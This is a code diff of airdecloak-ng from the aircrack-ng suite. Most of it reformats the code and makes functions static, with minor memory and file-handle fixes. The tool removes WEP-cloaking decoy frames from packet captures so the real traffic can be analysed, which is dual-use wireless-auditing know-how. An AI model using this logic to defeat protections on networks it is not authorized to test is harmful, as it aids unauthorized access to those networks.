+static BOOLEAN next_packet_pointer(void)
+{
 	BOOLEAN success = false;
 	// Go to next packet if not the last one
-	if (_packet_elt_head->current != _packet_elt_head->last) {
+	if (_packet_elt_head->current != _packet_elt_head->last)
+	{
 		_packet_elt_head->current = _packet_elt_head->current->next;
 		success = true;
 	}
@@ -725,23 +771,16 @@
 	return success;
 }
 
-BOOLEAN prev_packet_pointer() {
-	BOOLEAN success = false;
-	// Go to next packet if not the last one
-	if (_packet_elt_head->current != _packet_elt_head->first) {
-		_packet_elt_head->current = _packet_elt_head->current->prev;
-		success = true;
-	}
-
-	return success;
-}
-
-
-int compare_SN_to_current_packet(struct packet_elt * packet) {
-	if (_packet_elt_head->current->sequence_number > packet->sequence_number) {
+static int compare_SN_to_current_packet(struct packet_elt * packet)
+{
+	if (_packet_elt_head->current->sequence_number > packet->sequence_number)
+	{
 		// Current packet SN is superior to packet SN
 		return 1;
-	} else if (_packet_elt_head->current->sequence_number < packet->sequence_number) {
+	}
+	else if (_packet_elt_head->current->sequence_number
+			 < packet->sequence_number)
+	{
 		// Current packet SN is inferior to packet SN
 		return -1;
 	}
@@ -750,26 +789,36 @@
 	return 0;
 }
 
-BOOLEAN current_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet) {
+static BOOLEAN
+current_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet)
+{
 	BOOLEAN success = false;
 
 	if (_packet_elt_head->current->fromDS == packet->fromDS
-		&& _packet_elt_head->current->toDS == packet->toDS) {
-		if (packet->fromDS == 1 && packet->toDS ==0) {
+		&& _packet_elt_head->current->toDS == packet->toDS)
+	{
+		if (packet->fromDS == 1 && packet->toDS == 0)
+		{
 			// Coming from the AP, no other check needed
 			// (BSSID check already done when creating this list)
 			success = true;
 		}
-		else {
+		else
+		{
 			// Also check MAC source
-			if (maccmp(packet->source, _packet_elt_head->current->source) == 0) {
+			if (maccmp(packet->source, _packet_elt_head->current->source) == 0)
+			{
 				success = true;
 			}
 		}
-	} else if (packet->fromDS == 0 && packet->toDS == 0) {
-		// Beacons (and some other packets) coming from the AP (both from and toDS are 0).
+	}
+	else if (packet->fromDS == 0 && packet->toDS == 0)
+	{
+		// Beacons (and some other packets) coming from the AP (both from and
+		// toDS are 0).
 		if (_packet_elt_head->current->fromDS == 1
-			&& _packet_elt_head->current->toDS == 0) {
+			&& _packet_elt_head->current->toDS == 0)
+		{
 			success = true;
 		}
 	}
@@ -777,78 +826,85 @@
 	return success;
 }
 
-
-BOOLEAN prev_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet) {
-	BOOLEAN success = false;
-
-	while (success == false && prev_packet_pointer()) {
-		success = current_packet_pointer_same_fromToDS_and_source(packet);
-	}
-	return success;
-}
-
-BOOLEAN next_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet) {
+static BOOLEAN
+next_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet)
+{
 	BOOLEAN success = false;
 
 	// !!! Now we only have the packets from the BSSID.
 
-	while (success == 0 && next_packet_pointer()) {
+	while (success == 0 && next_packet_pointer())
+	{
 		success = current_packet_pointer_same_fromToDS_and_source(packet);
 	}
 	return success;
 }
 
-BOOLEAN prev_packet_pointer_same_fromToDS_and_source_as_current() {
-	return prev_packet_pointer_same_fromToDS_and_source(_packet_elt_head->current);
-}
-
-BOOLEAN next_packet_pointer_same_fromToDS_and_source_as_current() {
-	return next_packet_pointer_same_fromToDS_and_source(_packet_elt_head->current);
+static BOOLEAN next_packet_pointer_same_fromToDS_and_source_as_current(void)
+{
+	return next_packet_pointer_same_fromToDS_and_source(
+		_packet_elt_head->current);
 }
 
-int CFC_with_valid_packets_mark_others_with_identical_sn_cloaked() {
+static int CFC_with_valid_packets_mark_others_with_identical_sn_cloaked(void)
+{
 	// This filtered 1148 packets on a 300-350K capture (~150K were cloaked)
-	// Filtering was done correctly, all packets marked as cloaked were really cloaked).
+	// Filtering was done correctly, all packets marked as cloaked were really
+	// cloaked).
 	struct packet_elt * current_packet;
 	int how_far, nb_marked;
 
-	puts("Cloaking - Marking all duplicate SN cloaked if frame is valid or uncloaked");
+	puts("Cloaking - Marking all duplicate SN cloaked if frame is valid or "
+		 "uncloaked");
 
-	// Start from the begining (useful comment)
+	// Start from the beginning (useful comment)
 	reset_current_packet_pointer();
 
 	nb_marked = 0;
-	do {
-		// We should first check for each VALID_FRAME_UNCLOAKED or CLOAKED_FRAME packet
+	do
+	{
+		// We should first check for each VALID_FRAME_UNCLOAKED or CLOAKED_FRAME
+		// packet
 		// PACKET_CHECKING_LENGTH packets later (ONLY NEXT PACKETS)
 		// and if one of the packet has an identical SN, mark it as CLOAKED
 		if (_packet_elt_head->current->is_cloaked != VALID_FRAME_UNCLOAKED
-			&& _packet_elt_head->current->is_cloaked != CLOAKED_FRAME) {
+			&& _packet_elt_head->current->is_cloaked != CLOAKED_FRAME)
+		{
 			// Go to next packet if frame is not valid
 			continue;
 		}
 
 		current_packet = _packet_elt_head->current;
 
-		//printf("Trying current packet: %d,%d (SN: %d)\n", current_packet->fromDS, current_packet->toDS, current_packet->sequence_number);
+		// printf("Trying current packet: %d,%d (SN: %d)\n",
+		// current_packet->fromDS, current_packet->toDS,
+		// current_packet->sequence_number);
 
-		//print_packet(_packet_elt_head->current);
+		// print_packet(_packet_elt_head->current);
 
 		how_far = 0;
-		while (++how_far <= PACKET_CHECKING_LENGTH &&
-				next_packet_pointer_same_fromToDS_and_source(current_packet) == true ) {
-			switch (_packet_elt_head->current->is_cloaked) {
+		while (++how_far <= PACKET_CHECKING_LENGTH
+			   && next_packet_pointer_same_fromToDS_and_source(current_packet)
+					  == true)
+		{
+			switch (_packet_elt_head->current->is_cloaked)
+			{
 				case VALID_FRAME_UNCLOAKED:
 				case CLOAKED_FRAME:
 					// Status known, so go to next frame
 					break;
 				case POTENTIALLY_CLOAKED_FRAME:
-					//puts("CFC_with_valid_packets_mark_others_cloaked() - Invalid frame status found: POTENTIALLY_CLOAKED_FRAME");
+					// puts("CFC_with_valid_packets_mark_others_cloaked() -
+					// Invalid frame status found: POTENTIALLY_CLOAKED_FRAME");
 					break; // Should never happen here
 				case UKNOWN_FRAME_CLOAKING_STATUS:
-					//printf("Found unknown cloaking status frame, checking it - tested: %d,%d (SN: %d)\n",
-					//		_packet_elt_head->current->fromDS, _packet_elt_head->current->toDS, _packet_elt_head->current->sequence_number);
-					if (compare_SN_to_current_packet(current_packet) == 0) {
+					// printf("Found unknown cloaking status frame, checking it
+					// - tested: %d,%d (SN: %d)\n",
+					//		_packet_elt_head->current->fromDS,
+					//_packet_elt_head->current->toDS,
+					//_packet_elt_head->current->sequence_number);
+					if (compare_SN_to_current_packet(current_packet) == 0)
+					{
 						_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
 						++nb_marked;
 					}
@@ -862,7 +918,7 @@
 	} while (next_packet_pointer() == 1);
 
 	// Reset packet pointer so that next usages of current packet
-	// will start from the begining (in case it's forgotten).
+	// will start from the beginning (in case it's forgotten).
 	reset_current_packet_pointer();
 
 	printf("%d frames marked\n", nb_marked);
@@ -870,7 +926,8 @@
 	return nb_marked;
 }
 
-int CFC_filter_duplicate_sn_ap() {
+static int CFC_filter_duplicate_sn_ap(void)
+{
 	int nb_packets = 0;
 	puts("Cloaking - Removing the duplicate SN for the AP");
 
@@ -879,7 +936,8 @@
 	return nb_packets;
 }
 
-int CFC_filter_duplicate_sn_client() {
+static int CFC_filter_duplicate_sn_client(void)
+{
 	int nb_packets = 0;
 	puts("Cloaking - Removing the duplicate SN for the client");
 
@@ -888,12 +946,14 @@
 	return nb_packets;
 }
 
-int CFC_filter_duplicate_sn() {
-	// This will remove a lot of legitimate packets unfortunatly
+static int CFC_filter_duplicate_sn(void)
+{
+	// This will remove a lot of legitimate packets unfortunately
 	return CFC_filter_duplicate_sn_ap() + CFC_filter_duplicate_sn_client();
 }
 
-int get_average_signal_ap() {
+static int get_average_signal_ap(void)
+{
 	long all_signals;
 	long nb_packet_used;
 	int average_signal;
@@ -904,35 +964,51 @@
 
 	// Check if signal quality is included
 	if (_pfh_in.linktype == LINKTYPE_PRISM_HEADER
-		|| _pfh_in.linktype == LINKTYPE_RADIOTAP_HDR) {
+		|| _pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+	{
 
-		if (reset_current_packet_pointer_to_ap_packet() == true) {
+		if (reset_current_packet_pointer_to_ap_packet() == true)
+		{
 
-			// Calculate signal for all beacons and probe response (and count number of packets).
-			do {
-				if (_packet_elt_head->current->version_type_subtype == BEACON_FRAME
-					|| _packet_elt_head->current->version_type_subtype == PROBE_RESPONSE) {
+			// Calculate signal for all beacons and probe response (and count
+			// number of packets).
+			do
+			{
+				if (_packet_elt_head->current->version_type_subtype
+						== BEACON_FRAME
+					|| _packet_elt_head->current->version_type_subtype
+						   == PROBE_RESPONSE)
+				{
 					++nb_packet_used;
 					all_signals += _packet_elt_head->current->signal_quality;
 				}
-			}
-			while (next_packet_pointer_same_fromToDS_and_source(_packet_elt_head->current) == true);
+			} while (next_packet_pointer_same_fromToDS_and_source(
+						 _packet_elt_head->current)
+					 == true);
 
 			// Calculate the average
-			if (nb_packet_used > 0) {
-				average_signal = (int)(all_signals / nb_packet_used);
-				if ( ((all_signals/ (double)nb_packet_used) - average_signal) * 100 > 50) {
+			if (nb_packet_used > 0)
+			{
+				average_signal = (int) (all_signals / nb_packet_used);
+				if (((all_signals / (double) nb_packet_used) - average_signal)
+						* 100
+					> 50)
+				{
 					++average_signal;
 				}
 			}
 			printf("Average signal for AP packets: %d\n", average_signal);
 		}
-		else {
-			puts("Average signal: No packets coming from the AP, cannot calculate it");
+		else
+		{
+			puts("Average signal: No packets coming from the AP, cannot "
+				 "calculate it");
 		}
 	}
-	else {
-		puts("Average signal cannot be calculated because headers does not include it");
+	else
+	{
+		puts("Average signal cannot be calculated because headers does not "
+			 "include it");
 	}
 
 	// Return
@@ -943,20 +1019,23 @@
  * Filter packets based on signal.
  *
  * Use signal from all beacons, make an average
- * This will allow to find out what packet are legitimate (coming from the AP) and thus removing cloaked packets
- * By being able to remove cloaked packets, we'll find out the signal of the sensor(s)
+ * This will allow to find out what packet are legitimate (coming from the AP)
+ * and thus removing cloaked packets
+ * By being able to remove cloaked packets, we'll find out the signal of the
+ * sensor(s)
  * //and we'll be able to filter out the cloaked packets of clients.
  *
  * Enh: use signal from packets marked uncloaked instead of beacons.
  *
  * @return Number of frames marked cloaked.
  */
-int CFC_filter_signal() {
-
-	// Maximum variation of the signal for unknown status frame and potentially cloaked frames (up & down)
-	#define MAX_SIGNAL_VARIATION 3
-	#define MAX_SIGNAL_VARIATION_POTENTIALLY_CLOAKED 2
+static int CFC_filter_signal(void)
+{
 
+// Maximum variation of the signal for unknown status frame and potentially
+// cloaked frames (up & down)
+#define MAX_SIGNAL_VARIATION 3
+#define MAX_SIGNAL_VARIATION_POTENTIALLY_CLOAKED 2
 
 	int average_signal;
 	int nb_packets = 0;
@@ -965,40 +1044,52 @@
 	// 1. Get the average signal
 	average_signal = get_average_signal_ap();
 
-	if (average_signal > 0) {
+	if (average_signal > 0)
+	{
 
-		reset_current_packet_pointer_to_ap_packet(); // Will be successful because signal > 0
+		reset_current_packet_pointer_to_ap_packet(); // Will be successful
+		// because signal > 0
 
-		do {
-			switch (_packet_elt_head->current->is_cloaked) {
+		do
+		{
+			switch (_packet_elt_head->current->is_cloaked)
+			{
 				case POTENTIALLY_CLOAKED_FRAME:
-					// Max allowed variation for potentially cloaked packet is a bit lower
+					// Max allowed variation for potentially cloaked packet is a
+					// bit lower
 					// than the normal variation
-					if (abs(_packet_elt_head->current->signal_quality - average_signal)
-							> MAX_SIGNAL_VARIATION_POTENTIALLY_CLOAKED) {
+					if (abs(_packet_elt_head->current->signal_quality
+							- average_signal)
+						> MAX_SIGNAL_VARIATION_POTENTIALLY_CLOAKED)
+					{
 						_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
 						++nb_packets;
 						break;
 					}
+#if __GNUC__ == 7
+					__attribute__((fallthrough));
+#endif
 				case UKNOWN_FRAME_CLOAKING_STATUS:
-					// If variation is > max allowed variation, it's a cloaked packet
-					if (abs(_packet_elt_head->current->signal_quality - average_signal)
-						> MAX_SIGNAL_VARIATION) {
+					// If variation is > max allowed variation, it's a cloaked
+					// packet
+					if (abs(_packet_elt_head->current->signal_quality
+							- average_signal)
+						> MAX_SIGNAL_VARIATION)
+					{
 						_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
 						++nb_packets;
 						break;
 					}
-
-
-					if (_packet_elt_head->current->signal_quality - average_signal == 0) {
-						// If there's no variation, I'm sure it's not a cloaked packet
-						_packet_elt_head->current->is_cloaked = VALID_FRAME_UNCLOAKED;
-					}
-					else {
-						// We could play with POTENTIALLY_CLOAKED frame depending on the variation
-						// but currently, it's unloacked if inferior to the max allowed signal
-						_packet_elt_head->current->is_cloaked = VALID_FRAME_UNCLOAKED;
-					}
+					// If the signal quality is the same as the average signal,
+					// we're sure it's not a cloaked packet.
+					// Regarding any other signal difference compared to the
+					// average signal
+					// We could play with POTENTIALLY_CLOAKED frame depending on
+					// the variation
+					// but currently, it's unloacked if inferior to the max
+					// allowed signal
+					_packet_elt_head->current->is_cloaked
+						= VALID_FRAME_UNCLOAKED;
 					break;
 				case VALID_FRAME_UNCLOAKED:
 					break;
@@ -1007,69 +1098,82 @@
 				default:
 					break;
 			}
-		} while (next_packet_pointer_same_fromToDS_and_source_as_current() == true);
+		} while (next_packet_pointer_same_fromToDS_and_source_as_current()
+				 == true);
 	}
 
-	// TODO: Do it also for clients: Calculate the average for know cloaked frames
-	//       (each frame marked cloaked here) and then filter out wep cloaked frames.
-	//        or implement it as another filter (since clients may have the same signal
+	// TODO: Do it also for clients: Calculate the average for know cloaked
+	// frames
+	//       (each frame marked cloaked here) and then filter out wep cloaked
+	//       frames.
+	//        or implement it as another filter (since clients may have the same
+	//        signal
 	//        as the sensor).
 
 	// Return
 	return nb_packets;
 }
 
-int CFC_filter_consecutive_sn() {
+static int CFC_filter_consecutive_sn(void)
+{
 	int nb_packets = 0;
 	puts("Cloaking - Consecutive SN filtering");
 
-	nb_packets = CFC_filter_consecutive_sn_ap() + CFC_filter_consecutive_sn_client();
+	nb_packets
+		= CFC_filter_consecutive_sn_ap() + CFC_filter_consecutive_sn_client();
 
 	return nb_packets;
 }
 
-int CFC_filter_consecutive_sn_ap() {
+static int CFC_filter_consecutive_sn_ap(void)
+{
 	int nb_packets = 0;
 	BOOLEAN next_packet_result = false;
 	puts("Cloaking - Consecutive SN filtering (AP)");
 
-	// Filtering for the client is not easy at all, maybe we can base on the fact that wep cloaking clone everything in the packet
+	// Filtering for the client is not easy at all, maybe we can base on the
+	// fact that wep cloaking clone everything in the packet
 	// except the data (and ofc the SN).
 
-	// So, atm filtering for the AP only (hoping the client is not uploading data ;))
+	// So, atm filtering for the AP only (hoping the client is not uploading
+	// data ;))
 
 	reset_current_packet_pointer_to_ap_packet();
 
 	// Go to the first beacon or probe response.
-	while ( !(_packet_elt_head->current->version_type_subtype == BEACON_FRAME
-			|| _packet_elt_head->current->version_type_subtype == PROBE_RESPONSE) ) {
+	while (
+		!(_packet_elt_head->current->version_type_subtype == BEACON_FRAME
+		  || _packet_elt_head->current->version_type_subtype == PROBE_RESPONSE))
+	{
 
-		next_packet_result = next_packet_pointer_same_fromToDS_and_source_as_current();
+		next_packet_result
+			= next_packet_pointer_same_fromToDS_and_source_as_current();
 		// Check if we didn't reach end of capture.
-		if (next_packet_result == false) {
+		if (next_packet_result == false)
+		{
 			break;
 		}
 	}
 
 	// If end of capture, no packets have been filters.
-	if (next_packet_result == false) {
+	if (next_packet_result == false)
+	{
 		return 0;
 	}
 
-
 	puts("NYI");
 
-
-
 	return nb_packets;
 }
 
-int CFC_filter_consecutive_sn_client() {
+static int CFC_filter_consecutive_sn_client(void)
+{
 	int nb_packets = 0;
 
 	puts("Cloaking - Consecutive SN filtering (Client)");
 
-	// For consecutive SN of the client, if packets are cloaked, we can rely on null frames or probe request/association request.
+	// For consecutive SN of the client, if packets are cloaked, we can rely on
+	// null frames or probe request/association request.
 
 	reset_current_packet_pointer_to_client_packet();
 
@@ -1080,44 +1184,59 @@
 	return nb_packets;
 }
 
-int CFC_filter_duplicate_iv() {
+static int CFC_filter_duplicate_iv(void)
+{
 	unsigned char * ivs_table;
 	int nb_packets = 0;
 	puts("Cloaking - Duplicate IV filtering");
 
 	ivs_table = (unsigned char *) calloc(16777215, 1);
-	if (ivs_table == NULL) {
+	if (ivs_table == NULL)
+	{
 		puts("Failed to allocate memory for IVs table, exiting");
 		exit(-1);
 	}
 
 	// 1. Get the list of all IV values (and number of duplicates
 	reset_current_packet_pointer();
-	do {
-		if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA) {
-			// In the array, there's as much elements as the number of possible IVs
-			// For each IV, increase by 1 the value of the IV position so that we can
-			// know if it was used AND the number of occurences.
+	do
+	{
+		if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA)
+		{
+			// In the array, there's as much elements as the number of possible
+			// IVs
+			// For each IV, increase by 1 the value of the IV position so that
+			// we can
+			// know if it was used AND the number of occurrences.
 			*(ivs_table + get_iv(_packet_elt_head->current)) += 1;
 		}
 	} while (next_packet_pointer() == true);
 
 	// 2. Remove duplicates
 	reset_current_packet_pointer();
-	do {
-		if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA) {
+	do
+	{
+		if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA)
+		{
 
-			switch (_packet_elt_head->current->is_cloaked) {
+			switch (_packet_elt_head->current->is_cloaked)
+			{
 				case POTENTIALLY_CLOAKED_FRAME:
 					// If the frame is potentially cloaked, mark it as cloaked
-					if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1) {
+					if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1)
+					{
 						_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
 						++nb_packets;
 					}
+#if __GNUC__ == 7
+					__attribute__((fallthrough));
+#endif
 				case UKNOWN_FRAME_CLOAKING_STATUS:
 					// If unknown status, mark it as potentially cloaked
-					if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1) {
-						_packet_elt_head->current->is_cloaked = POTENTIALLY_CLOAKED_FRAME;
+					if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1)
+					{
+						_packet_elt_head->current->is_cloaked
+							= POTENTIALLY_CLOAKED_FRAME;
 					}
 					break;
 				case VALID_FRAME_UNCLOAKED:
@@ -1127,7 +1246,6 @@
 				default:
 					break;
 			}
-
 		}
 	} while (next_packet_pointer() == true);
 
@@ -1136,35 +1254,40 @@
 	return nb_packets;
 }
 
-char * status_format(int status) {
+static char * status_format(int status)
+{
 	size_t len = 19;
 	char * ret = (char *) calloc(1, (len + 1) * sizeof(char));
+	char * rret;
 
-	switch (status) {
+	switch (status)
+	{
 		case VALID_FRAME_UNCLOAKED:
-			strncpy(ret, "uncloacked", len);
+			strncpy(ret, "uncloacked", len + 1);
 			break;
 		case CLOAKED_FRAME:
-			strncpy(ret, "cloaked", len);
+			strncpy(ret, "cloaked", len + 1);
 			break;
 		case POTENTIALLY_CLOAKED_FRAME:
-			strncpy(ret, "potentially cloaked", len);
+			strncpy(ret, "potentially cloaked", len + 1);
 			break;
 		case UKNOWN_FRAME_CLOAKING_STATUS:
-			strncpy(ret, "unknown cloaking", len);
+			strncpy(ret, "unknown cloaking", len + 1);
 			break;
 		default:
-			snprintf(ret, len + 1,"type %d", status);
+			snprintf(ret, len + 1, "type %d", status);
 			break;
 	}
 
-	ret = (char *)realloc(ret, strlen(ret) +1);
-	return ret;
+	rret = (char *) realloc(ret, strlen(ret) + 1);
+	return (rret) ? rret : ret;
 }
 
-int CFC_mark_all_frames_with_status_to(int original_status, int new_status) {
+static int CFC_mark_all_frames_with_status_to(int original_status,
+											  int new_status)
+{
 	int nb_marked = 0;
-	char * from, *to;
+	char *from, *to;
 	from = status_format(original_status);
 	to = status_format(new_status);
 
@@ -1174,8 +1297,10 @@
 
 	reset_current_packet_pointer();
 
-	do {
-		if (_packet_elt_head->current->is_cloaked == original_status) {
+	do
+	{
+		if (_packet_elt_head->current->is_cloaked == original_status)
+		{
 			_packet_elt_head->current->is_cloaked = new_status;
 			++nb_marked;
 		}
@@ -1186,12 +1311,13 @@
 	return nb_marked;
 }
 
-
-int CFC_filter_signal_duplicate_and_consecutive_sn() {
+static int CFC_filter_signal_duplicate_and_consecutive_sn(void)
+{
 	int nb_marked = 0;
 	// This filter does not call all other filters but does a lot of checks
 	// and depending on these check decide if a packet is cloaked or not
-	puts("Cloaking - Filtering all packet with signal, duplicate and consecutive SN filters");
+	puts("Cloaking - Filtering all packet with signal, duplicate and "
+		 "consecutive SN filters");
 
 	puts("Not yet implemented");
 
@@ -1203,28 +1329,32 @@
 /**
  * Check for cloaking and mark the status all packets (Cloaked or uncloaked).
  */
-BOOLEAN check_for_cloaking() {
+static BOOLEAN check_for_cloaking(void)
+{
 	int cur_filter;
 	int cur_filters = _filters;
 
 	puts("Cloaking - Start check");
 
-
-
-	// Parse all packets, then for each packet marked valid (or cloaked), check forward if any packet has
-	// an unknown status and same SN. If it's the case, mark the current packet CLOAKED
-	if (_options_disable_base_filter == 0) {
-		//CFC_with_valid_packets_mark_others_with_identical_sn_cloaked();
+	// Parse all packets, then for each packet marked valid (or cloaked), check
+	// forward if any packet has
+	// an unknown status and same SN. If it's the case, mark the current packet
+	// CLOAKED
+	if (_options_disable_base_filter == 0)
+	{
+		// CFC_with_valid_packets_mark_others_with_identical_sn_cloaked();
 		CFC_base_filter();
 	}
 
 	// Apply all filter requested by the user in the requested order
 	// but do not forget to warn when there's no filter given.
-	while (cur_filters != 0) {
+	while (cur_filters != 0)
+	{
 		cur_filter = cur_filters % 10;
 		cur_filters /= 10;
 
-		switch (cur_filter) {
+		switch (cur_filter)
+		{
 			case FILTER_SIGNAL:
 				CFC_filter_signal();
 				break;
@@ -1256,15 +1386,18 @@
 	}
 
 	// Marking of all unknown status packets uncloaked (MUST BE AT THE END)
-	CFC_mark_all_frames_with_status_to(UKNOWN_FRAME_CLOAKING_STATUS, VALID_FRAME_UNCLOAKED);
+	CFC_mark_all_frames_with_status_to(UKNOWN_FRAME_CLOAKING_STATUS,
+									   VALID_FRAME_UNCLOAKED);
 	// ... and the potentially cloaked cloaked
-	CFC_mark_all_frames_with_status_to(POTENTIALLY_CLOAKED_FRAME, CLOAKED_FRAME);
+	CFC_mark_all_frames_with_status_to(POTENTIALLY_CLOAKED_FRAME,
+									   CLOAKED_FRAME);
 
 	return true;
 }
 
 // Return 1 on success
-BOOLEAN write_packets() {
+static BOOLEAN write_packets(void)
+{
 	// Open files ...
 	FILE * invalid_status_file;
 
@@ -1277,41 +1410,50 @@
 	_output_clean_capture_file = init_new_pcap(_filename_output_filtered);
 
 	// ... and make sure opening was ok ...
-	if (_output_clean_capture_file == NULL) {
+	if (_output_clean_capture_file == NULL)
+	{
 		printf("FATAL ERROR: Failed to open pcap for filtered packets\n");
-		if (_output_cloaked_packets_file != NULL) {
+		if (_output_cloaked_packets_file != NULL)
+		{
 			fclose(_output_cloaked_packets_file);
 		}
+		fclose(invalid_status_file);
 		return false;
 	}
 
 	// ... for both.
-	if (_output_cloaked_packets_file == NULL) {
+	if (_output_cloaked_packets_file == NULL)
+	{
 		printf("FATAL ERROR: Failed to open pcap for cloaked packets\n");
 		fclose(_output_clean_capture_file);
+		fclose(invalid_status_file);
 		return false;
 	}
 
 	puts("Writing packets to files");
 
 	reset_current_packet_pointer();
-	do {
-		switch (_packet_elt_head->current->is_cloaked) {
+	do
+	{
+		switch (_packet_elt_head->current->is_cloaked)
+		{
 			case CLOAKED_FRAME:
-				write_packet(_output_cloaked_packets_file, _packet_elt_head->current);
+				write_packet(_output_cloaked_packets_file,
+							 _packet_elt_head->current);
 				break;
 			case VALID_FRAME_UNCLOAKED:
-				if (_packet_elt_head->current->is_dropped == 0) {
-					write_packet(_output_clean_capture_file, _packet_elt_head->current);
+				if (_packet_elt_head->current->is_dropped == 0)
+				{
+					write_packet(_output_clean_capture_file,
+								 _packet_elt_head->current);
 				}
 				break;
 			default:
 				// Write them somewhere else
 				write_packet(invalid_status_file, _packet_elt_head->current);
 				printf("Error: Invalid packet cloaking status: %d\n",
-						_packet_elt_head->current->is_cloaked);
+					   _packet_elt_head->current->is_cloaked);
 				break;
-
 		}
 	} while (next_packet_pointer() == true);
 
@@ -1324,64 +1466,78 @@
 }
 
 // Return 1 on success
-BOOLEAN print_statistics() {
-	return true;
-}
+static BOOLEAN print_statistics(void) { return true; }
 
-void usage() {
-	char *version_info = getVersion("Airdecloak-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
-	printf("\n"
-			"  %s - (C) 2008-2015 Thomas d\'Otreppe\n"
-			"  http://www.aircrack-ng.org\n"
-			"\n"
-			"  usage: airdecloak-ng [options]\n"
-			"\n"
-			"  options:\n"
-			"\n"
-			"   Mandatory:\n"
-			"     -i <file>             : Input capture file\n"
-			"     --ssid <ESSID>        : ESSID of the network to filter\n"
-			"        or\n"
-			"     --bssid <BSSID>       : BSSID of the network to filter\n"
-			"\n"
-			"   Optional:\n"
-			"     -o <file>             : Output packets (valid) file (default: <src>-filtered.pcap)\n"
-			"     -c <file>             : Output packets (cloaked) file (default: <src>-cloaked.pcap)\n"
-			"     -u <file>             : Output packets (unknown/ignored) file (default: invalid_status.pcap)\n"
-			"     --filters <filters>   : Apply filters (separated by a comma). Filters:\n"
-			"           signal:               Try to filter based on signal.\n"
-			"           duplicate_sn:         Remove all duplicate sequence numbers\n"
-			"                                 for both the AP and the client.\n"
-			"           duplicate_sn_ap:      Remove duplicate sequence number for\n"
-			"                                 the AP only.\n"
-			"           duplicate_sn_client:  Remove duplicate sequence number for the\n"
-			"                                 client only.\n"
-			"           consecutive_sn:       Filter based on the fact that IV should\n"
-			"                                 be consecutive (only for AP).\n"
-			"           duplicate_iv:         Remove all duplicate IV.\n"
-			"           signal_dup_consec_sn: Use signal (if available), duplicate and\n"
-			"                                 consecutive sequence number (filtering is\n"
-			"                                  much more precise than using all these\n"
-			"                                  filters one by one).\n"
-			"     --null-packets        : Assume that null packets can be cloaked.\n"
-			"     --disable-base_filter : Do not apply base filter.\n"
-			//"     --disable-retry       : Disable retry check, don't care about retry bit.\n"
-			"     --drop-frag           : Drop fragmented packets\n"
-			"\n"
-			"     --help                : Displays this usage screen\n"
-			"\n",
-			version_info );
+static void usage(void)
+{
+	char * version_info = getVersion(
+		"Airdecloak-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	printf(
+		"\n"
+		"  %s - (C) 2008-2018 Thomas d\'Otreppe\n"
+		"  https://www.aircrack-ng.org\n"
+		"\n"
+		"  usage: airdecloak-ng [options]\n"
+		"\n"
+		"  options:\n"
+		"\n"
+		"   Mandatory:\n"
+		"     -i <file>             : Input capture file\n"
+		"     --ssid <ESSID>        : ESSID of the network to filter\n"
+		"        or\n"
+		"     --bssid <BSSID>       : BSSID of the network to filter\n"
+		"\n"
+		"   Optional:\n"
+		"     -o <file>             : Output packets (valid) file (default: "
+		"<src>-filtered.pcap)\n"
+		"     -c <file>             : Output packets (cloaked) file (default: "
+		"<src>-cloaked.pcap)\n"
+		"     -u <file>             : Output packets (unknown/ignored) file "
+		"(default: invalid_status.pcap)\n"
+		"     --filters <filters>   : Apply filters (separated by a comma). "
+		"Filters:\n"
+		"           signal:               Try to filter based on signal.\n"
+		"           duplicate_sn:         Remove all duplicate sequence "
+		"numbers\n"
+		"                                 for both the AP and the client.\n"
+		"           duplicate_sn_ap:      Remove duplicate sequence number "
+		"for\n"
+		"                                 the AP only.\n"
+		"           duplicate_sn_client:  Remove duplicate sequence number for "
+		"the\n"
+		"                                 client only.\n"
+		"           consecutive_sn:       Filter based on the fact that IV "
+		"should\n"
+		"                                 be consecutive (only for AP).\n"
+		"           duplicate_iv:         Remove all duplicate IV.\n"
+		"           signal_dup_consec_sn: Use signal (if available), duplicate "
+		"and\n"
+		"                                 consecutive sequence number "
+		"(filtering is\n"
+		"                                  much more precise than using all "
+		"these\n"
+		"                                  filters one by one).\n"
+		"     --null-packets        : Assume that null packets can be "
+		"cloaked.\n"
+		"     --disable-base_filter : Do not apply base filter.\n"
+		//"     --disable-retry       : Disable retry check, don't care about
+		// retry bit.\n"
+		"     --drop-frag           : Drop fragmented packets\n"
+		"\n"
+		"     --help                : Displays this usage screen\n"
+		"\n",
+		version_info);
 	free(version_info);
 }
 
-int main( int argc, char *argv[] )
+int main(int argc, char * argv[])
 {
-    int temp = 0, option;
-    int manual_cloaked_fname=0, manual_filtered_fname=0;
-    BOOLEAN tempBool;
-    char * input_filename;
-    char * input_bssid;
-    char * filter_name;
+	int temp = 0, option;
+	int manual_cloaked_fname = 0, manual_filtered_fname = 0;
+	BOOLEAN tempBool;
+	char * input_filename;
+	char * input_bssid;
+	char * filter_name;
 
 	// Initialize
 	input_bssid = NULL;
@@ -1393,53 +1549,51 @@
 	memset(_bssid, 0, 6);
 	_filters = 0;
 
-    _filename_output_invalid = NULL;
+	_filename_output_invalid = NULL;
 
 	// Parse options
-	while( 1 )
+	while (1)
 	{
 
-        int option_index = 0;
-
-        static struct option long_options[] = {
-            {"essid",				1, 0, 'e'},
-            {"ssid",				1, 0, 'e'},
-            {"bssid",				1, 0, 'b'},
-            {"help",				0, 0, 'h'},
-            {"filter",				1, 0, 'f'},
-            {"filters",				1, 0, 'f'},
-            {"null-packets",		0, 0, 'n'},
-            {"null-packet",			0, 0, 'n'},
-            {"null_packets",		0, 0, 'n'},
-            {"null_packet",			0, 0, 'n'},
